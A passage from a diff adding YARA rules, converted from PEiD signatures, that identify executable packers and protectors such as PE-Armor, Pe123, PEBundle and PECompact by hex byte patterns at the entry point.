+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 8B 95 68 20 40 00 8B 42 3C 03 C2 89 85 76 20 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D 8A 20 40 00 8B 59 24 03 DA 8B 1B 89 9D 8E 20 40 00 53 8F 85 E2 1F 40 00 8D 85 92 20 40 00 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 FF B5 8A 20 40 00 C3 92 EB 15 68 BB ?? 00 00 00 B9 90 08 00 00 8D BD FF 20 40 00 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 8D BD 2F 28 40 00 C0 0C 39 02 E2 FA 68 A0 20 40 00 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_01513_PE_Armor_0_46____China_Cracking_Group_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> China Cracking Group]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+    condition:
+        $a
+}
+
+rule PEiD_01514_PE_Armor_0_46____China_Cracking_Group_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> China Cracking Group]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 A2 01 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 86 00 00 00 56 50 FF 55 2D 89 85 93 00 00 00 6A 04 68 00 10 00 00 FF B5 82 00 00 00 6A 00 FF 95 93 00 00 00 50 8B 9D 7E 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01515_PE_Armor_0_46____Hying_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01516_PE_Armor_0_460_0_759____hying_
+{
+    meta:
+        description = "[PE-Armor 0.460-0.759 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01517_PE_Armor_0_460_0_759____hying_
+{
+    meta:
+        description = "[PE-Armor 0.460-0.759 -> hying]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_01518_PE_Armor_0_49____Hying_
+{
+    meta:
+        description = "[PE-Armor 0.49 -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01519_PE_Armor_0_760_0_765____hying_
+{
+    meta:
+        description = "[PE-Armor 0.760-0.765 -> hying]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01520_PE_Armor_V0_760_V0_765____hying_
+{
+    meta:
+        description = "[PE-Armor V0.760-V0.765 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72}
+    condition:
+        $a
+}
+
+rule PEiD_01521_PE_Crypt_1_02_
+{
+    meta:
+        description = "[PE-Crypt 1.02]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+    condition:
+        $a
+}
+
+rule PEiD_01522_PE_Crypter_
+{
+    meta:
+        description = "[PE-Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D EB 26}
+    condition:
+        $a
+}
+
+rule PEiD_01523_PE_PACK_0_99_
+{
+    meta:
+        description = "[PE-PACK 0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+    condition:
+        $a
+}
+
+rule PEiD_01524_PE_PaCK_1_0_____C__Copyright_1998_by_ANAKiN__h__
+{
+    meta:
+        description = "[PE-PaCK 1.0 -> (C) Copyright 1998 by ANAKiN (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+    condition:
+        $a
+}
+
+rule PEiD_01525_PE_PaCK_v1_0_____C__Copyright_1998_by_ANAKiN__h__
+{
+    meta:
+        description = "[PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 31 39 39 38 20 62 79 20 41 4E 41 4B 69 4E 20 FE 3D 2D 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01526_PE_PACK_v1_0_by_ANAKiN_1998_______
+{
+    meta:
+        description = "[PE-PACK v1.0 by ANAKiN 1998 (???)]"
+        ep_only = "true"
+    strings:
+        $a = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01527_PE_Protect_0_9_by_Cristoph_Gabler_1998_
+{
+    meta:
+        description = "[PE-Protect 0.9 by Cristoph Gabler 1998]"
+        ep_only = "false"
+    strings:
+        $a = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+    condition:
+        $a
+}
+
+rule PEiD_01528_PE_PROTECT_0_9_
+{
+    meta:
+        description = "[PE-PROTECT 0.9]"
+        ep_only = "true"
+    strings:
+        $a = {E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01529_PE_SHiELD_0_2_
+{
+    meta:
+        description = "[PE-SHiELD 0.2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+    condition:
+        $a
+}
+
+rule PEiD_01530_Pe123_2006_4_12_
+{
+    meta:
+        description = "[Pe123 2006.4.12]"
+        ep_only = "false"
+    strings:
+        $a = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+    condition:
+        $a
+}
+rule PEiD_01531_Pe123_2006_4_4_
+{
+    meta:
+        description = "[Pe123 2006.4.4]"
+        ep_only = "false"
+    strings:
+        $a = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+    condition:
+        $a
+}
+
+rule PEiD_01532_Pe123_v2006_4_12_
+{
+    meta:
+        description = "[Pe123 v2006.4.12]"
+        ep_only = "true"
+    strings:
+        $a = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 4C FE FF FF 53 6A 40 8D 85 44 FF FF FF 50 E8 BC FF FF FF 50 E8 8A FF FF FF 68 F8 00 00 00 8D 85 4C FE FF FF 50 E8 A5 FF FF FF 03 45 80 50 E8 70 FF FF FF E8 97 FF FF FF 03 85 CC FE FF FF 83 C0 34 89 45 FC E8 86 FF FF FF 03 85 CC FE FF FF 83 C0 38 89 45 8C 60 8B 45 FC 8B 00 89 45 F8 89 45 9C 8B 45 8C 8B 00 89 45 88 89 45 98 E8 0D 00 00 00 6B 65 72 6E 65 6C 33}
+    condition:
+        $a
+}
+
+rule PEiD_01533_Pe123_v2006_4_4_
+{
+    meta:
+        description = "[Pe123 v2006.4.4]"
+        ep_only = "true"
+    strings:
+        $a = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 B8 FE FF FF 6A 40 8D 45 B0 50 E8 C0 FF FF FF 50 E8 8E FF FF FF 68 F8 00 00 00 8D 85 B8 FE FF FF 50 E8 A9 FF FF FF 03 45 EC 50 E8 74 FF FF FF E8 9B FF FF FF 03 85 38 FF FF FF 83 C0 34 89 45 FC E8 8A FF FF FF 03 85 38 FF FF FF 83 C0 38 89 45 F4 8B 45 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01534_PE_Admin_V1_0__EncryptPE_V1_2003_5_18_Sold_____Flying_Cat_
+{
+    meta:
+        description = "[PE_Admin V1.0 (EncryptPE V1.2003.5.18 Sold) -> Flying Cat]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01535_PEArmor_V0_7X____Hying_
+{
+    meta:
+        description = "[PEArmor V0.7X -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01536_PEBundle_v0_2___v2_0x_
+{
+    meta:
+        description = "[PEBundle v0.2 - v2.0x]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95}
+    condition:
+        $a
+}
+rule PEiD_01537_PEBundle_v2_0b5___v2_3_
+{
+    meta:
+        description = "[PEBundle v2.0b5 - v2.3]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+    condition:
+        $a
+}
+
+rule PEiD_01538_PEBundle_v2_44_
+{
+    meta:
+        description = "[PEBundle v2.44]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+    condition:
+        $a
+}
+
+rule PEiD_01539_PEBundle_v3_10_
+{
+    meta:
+        description = "[PEBundle v3.10]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01540_PECompact_2_00_alpha_38_
+{
+    meta:
+        description = "[PECompact 2.00 alpha 38]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+    condition:
+        $a
+}
+
+rule PEiD_01541_PECompact_2_0beta_student_version____Jeremy_Collake_
+{
+    meta:
+        description = "[PECompact 2.0beta/student version -> Jeremy Collake]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? EE 05 12 13 13 12 50 64 FF 35 00 00 00 00 64 89 25 00}
+    condition:
+        $a
+}
+rule PEiD_01542_PeCompact_2_53_DLL__Slim_Loader_____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.53 DLL (Slim Loader) -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D 0B 6B 65 72 6E 6C 33 32}
+    condition:
+        $a
+}
+
+rule PEiD_01543_PeCompact_2_53_DLL____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.53 DLL -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 00 00 00 08 0C 00 48 E1 01 56 57 53 55 8B 5C 24 1C 85 DB 0F 84 AB 21 E8 BD 0E E6 60 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01544_PECompact_2_x____Bitsum_Technologies_
+{
+    meta:
+        description = "[PECompact 2.x -> Bitsum Technologies]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 02 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+    condition:
+        $a
+}
+
+rule PEiD_01545_PeCompact_2_xx__Slim_Loader_____BitSum_Technologies_
+{
+    meta:
+        description = "[PeCompact 2.xx (Slim Loader) -> BitSum Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+    condition:
+        $a
+}
+rule PEiD_01546_PECompact_v0_90_
+{
+    meta:
+        description = "[PECompact v0.90]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+    condition:
+        $a
+}
+
+rule PEiD_01547_PECompact_v0_92_
+{
+    meta:
+        description = "[PECompact v0.92]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5}
+    condition:
+        $a
+}
+
+rule PEiD_01548_PECompact_v0_94_
+{
+    meta:
+        description = "[PECompact v0.94]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+    condition:
+        $a
+}
+
+rule PEiD_01549_PECompact_v0_971___v0_976_
+{
+    meta:
+        description = "[PECompact v0.971 - v0.976]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+    condition:
+        $a
+}
+rule PEiD_01550_PECompact_v0_977_
+{
+    meta:
+        description = "[PECompact v0.977]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87}
+    condition:
+        $a
+}
+
+rule PEiD_01551_PECompact_v0_978_1_
+{
+    meta:
+        description = "[PECompact v0.978.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+    condition:
+        $a
+}
+
+rule PEiD_01552_PECompact_v0_978_2_
+{
+    meta:
+        description = "[PECompact v0.978.2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+    condition:
+        $a
+}
+
+rule PEiD_01553_PECompact_v0_978_
+{
+    meta:
+        description = "[PECompact v0.978]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+    condition:
+        $a
+}
+rule PEiD_01554_PECompact_v0_98_
+{
+    meta:
+        description = "[PECompact v0.98]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+    condition:
+        $a
+}
+
+rule PEiD_01555_PECompact_v0_99_
+{
+    meta:
+        description = "[PECompact v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+    condition:
+        $a
+}
+
+rule PEiD_01556_PECompact_v1_00_
+{
+    meta:
+        description = "[PECompact v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85}
+    condition:
+        $a
+}
+
+rule PEiD_01557_PECompact_v1_10b1_
+{
+    meta:
+        description = "[PECompact v1.10b1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+    condition:
+        $a
+}
+
+rule PEiD_01558_PECompact_v1_10b2_
+{
+    meta:
+        description = "[PECompact v1.10b2]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+    condition:
+        $a
+}
+
+rule PEiD_01559_PECompact_v1_10b3_
+{
+    meta:
+        description = "[PECompact v1.10b3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+    condition:
+        $a
+}
+rule PEiD_01560_PECompact_v1_10b4_
+{
+    meta:
+        description = "[PECompact v1.10b4]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44}
+    condition:
+        $a
+}
+
+rule PEiD_01561_PECompact_v1_10b5_
+{
+    meta:
+        description = "[PECompact v1.10b5]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+    condition:
+        $a
+}
+
+rule PEiD_01562_PECompact_v1_10b6_
+{
+    meta:
+        description = "[PECompact v1.10b6]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+    condition:
+        $a
+}
+
+rule PEiD_01563_PECompact_v1_10b7_
+{
+    meta:
+        description = "[PECompact v1.10b7]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+    condition:
+        $a
+}
+
+rule PEiD_01564_PECompact_v1_20___v1_20_1_
+{
+    meta:
+        description = "[PECompact v1.20 - v1.20.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+    condition:
+        $a
+}
+
+rule PEiD_01565_PECompact_v1_22_
+{
+    meta:
+        description = "[PECompact v1.22]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+    condition:
+        $a
+}
+
+rule PEiD_01566_PECompact_v1_23b3___v1_24_1_
+{
+    meta:
+        description = "[PECompact v1.23b3 - v1.24.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+    condition:
+        $a
+}
+
+rule PEiD_01567_PECompact_v1_24_2___v1_24_3_
+{
+    meta:
+        description = "[PECompact v1.24.2 - v1.24.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09}
+    condition:
+        $a
+}
+
+rule PEiD_01568_PECompact_v1_25_
+{
+    meta:
+        description = "[PECompact v1.25]"
+        ep_only = "true"
+    strings:
